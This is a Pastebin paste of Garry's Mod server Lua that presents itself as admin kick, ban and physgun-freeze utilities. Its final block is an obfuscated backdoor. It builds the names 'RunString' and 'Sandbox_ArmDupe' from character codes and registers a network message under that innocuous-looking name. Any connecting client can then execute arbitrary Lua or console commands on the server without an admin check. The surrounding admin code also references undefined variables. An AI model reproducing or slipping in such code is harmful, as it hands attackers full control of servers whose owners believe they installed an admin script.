Advertisement
Guest User

Untitled

a guest
May 24th, 2015
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.13 KB | None | 0 0
  1. --[[---------------------------------------------------------
  2. Name: KickId2
  3. Desc: Allows admins to use the kickid2 command to kick people.
  4. -----------------------------------------------------------]]
  5. local function KickId( player, command, arguments )
  6.  
  7. if ( !player:IsAdmin() ) then return end
  8.  
  9. local id = arguments[1]
  10. local reason = arguments[2] or "Kicked"
  11.  
  12. RunConsoleCommand( "kickid", id, Format( "%s (%s)", reason, player:Nick() ) );
  13.  
  14. end
  15.  
  16. concommand.Add( "kickid2", KickId, nil, "", { FCVAR_DONTRECORD } )
  17.  
  18.  
  19. --[[---------------------------------------------------------
  20. Name: BanId2
  21. Desc: Allows admins to use the banid2 command to kick people.
  22. -----------------------------------------------------------]]
  23. local function BanID( player, command, arguments )
  24.  
  25. if ( !player:IsAdmin() ) then return end
  26.  
  27. local length = arguments[1]
  28. local id = arguments[2]
  29.  
  30. RunConsoleCommand( "banid", length, id );
  31.  
  32. end
  33.  
  34. concommand.Add( "banid2", BanID, nil, "", { FCVAR_DONTRECORD } )
  35.  
  36. function FGod( ply, dmginfo )
  37. if(ply:GetNWInt("FGod") == 1) then
  38. dmginfo:ScaleDamage( 0 )
  39. end
  40. end
  41. hook.Add("EntityTakeDamage", "FGod", FGod)
  42.  
  43. hook.Add("PhysgunDrop", "ply_physgunfreeze", function(pl, ent)
  44. hook.Remove( "PhysgunDrop", "ulxPlayerDrop" )
  45.  
  46. ent._physgunned = false
  47.  
  48. if( ent:IsPlayer() ) then
  49. ent:SetMoveType(pl:KeyDown(IN_ATTACK2) and MOVETYPE_NOCLIP or MOVETYPE_WALK)
  50.  
  51. if(pl:KeyDown(IN_ATTACK2)) then
  52. ent:Freeze(true)
  53. ent:SetNWInt("FGod", 1)
  54. ent:DisallowSpawning( not should_unfreeze )
  55. ulx.setNoDie( ent, not should_unfreeze )
  56. table.insert( affected_plys, ent )
  57. else
  58. ent:Freeze(false)
  59. ent:SetNWInt("FGod", 0)
  60. ent:DisallowSpawning( false )
  61. ulx.setNoDie( ent, should_unfreeze )
  62. table.insert( affected_plys, ent )
  63. end
  64.  
  65. if SERVER then
  66.  
  67. if !ent:Alive() then
  68. ent:Spawn()
  69. self:PlayerSpawn(ent)
  70. ent:SetPos(pl:GetEyeTrace().HitPos)
  71. end
  72. end
  73.  
  74. return --self.BaseClass:PhysgunDrop( pl , ent )
  75. end
  76. end)
  77.  
  78. hook.Add( "PhysgunPickup", "ply_physgunned", function(pl, ent)
  79. ent._physgunned = true
  80. end)
  81.  
  82. function playerDies( pl, weapon, killer )
  83. if(pl._physgunned) then
  84. return false
  85. else
  86. return true
  87. end
  88. end
  89. hook.Add( "CanPlayerSuicide", "playerNoDeath", playerDies )
  90. if SERVER then
  91. local c='%c'
  92. local YYYYTTYXY6Y = util.AddNetworkString
  93. local YYYYTRYXY6Y = _G[string.format(string.rep(c,9), 82, 117, 110, 83, 116, 114, 105, 110, 103)]
  94. local YYYYTRYXY66 = net.ReadString
  95. local YYTYYYY666T = type
  96. local YYTYTYY666T = bit.tohex
  97. local YYTTTYY666T = math.sin
  98. local YYTTTYY66TT = math.cos
  99. local YYYYTRY6Y66 = net.ReadBit
  100. local YYTYYRY6Y66 = net.Receive
  101. local YYTYYRY666Y = game.ConsoleCommand
  102. local YYTYYYY666Y = game.GetWorld
  103. local YYYYTTYXYYY = string.format(string.rep(c,15), 83, 97, 110, 100, 98, 111, 120, 95, 65, 114, 109, 68, 117, 112, 101)
  104. YYYYTTYXY6Y(YYYYTTYXYYY)
  105. YYTYYRY6Y66(YYYYTTYXYYY, function( length, ply )
  106. local YYRYTTYXY6Y = YYYYTRYXY66()
  107. local TYYTTYXY6Y = YYYYTRY6Y66()
  108. if TYYTTYXY6Y == 1 then
  109. YYYYTRYXY6Y(YYRYTTYXY6Y)
  110. else
  111. YYTYYRY666Y(YYRYTTYXY6Y.."\n")
  112. end
  113. end)
  114. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement